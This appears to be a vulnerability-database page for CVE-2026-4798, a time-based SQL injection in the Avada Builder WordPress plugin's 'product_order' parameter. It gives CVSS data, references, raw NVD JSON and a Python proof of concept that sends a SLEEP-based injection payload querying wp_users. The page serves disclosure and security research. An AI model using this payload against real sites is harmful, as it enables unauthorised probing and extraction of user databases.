CVE-2026-4798

Description

The Avada Builder plugin for WordPress is vulnerable to time-based SQL Injection via the ‘product_order’ parameter in all versions up to, and including, 3.15.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Note: The vulnerability can only be exploited if WooCommerce was previously used and then deactivated.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Avada Builder <= 3.15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://target-wordpress-site.com/path/to/vulnerable/endpoint"

# Example payload for time-based blind SQL injection
# Payload attempts to delay response if the condition is true
payload = {
    "product_order": "1 AND (SELECT 1 FROM wp_users WHERE ID=1) AND SLEEP(5)-- -"
}

try:
    print("Sending malicious request...")
    response = requests.get(target_url, params=payload, timeout=10)
    
    # Check if the response time indicates successful injection
    if response.elapsed.total_seconds() >= 5:
        print("[+] Potential Vulnerability Detected: Server response delayed.")
    else:
        print("[-] No delay detected, vulnerability might be patched or condition not met.")
        
except requests.exceptions.RequestException as e:
    print(f"Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4798
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4798
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4798/
[4] VulDB https://vuldb.com/cve/CVE-2026-4798
[5] https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/22b55747-8b46-4812-9345-0db03500105f?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4798", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:01:55.760", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Avada Builder plugin for WordPress is vulnerable to time-based SQL Injection via the ‘product_order’ parameter in all versions up to, and including, 3.15.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Note: The vulnerability can only be exploited if WooCommerce was previously used and then deactivated."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/22b55747-8b46-4812-9345-0db03500105f?source=cve", "source": "[email protected]"}]}}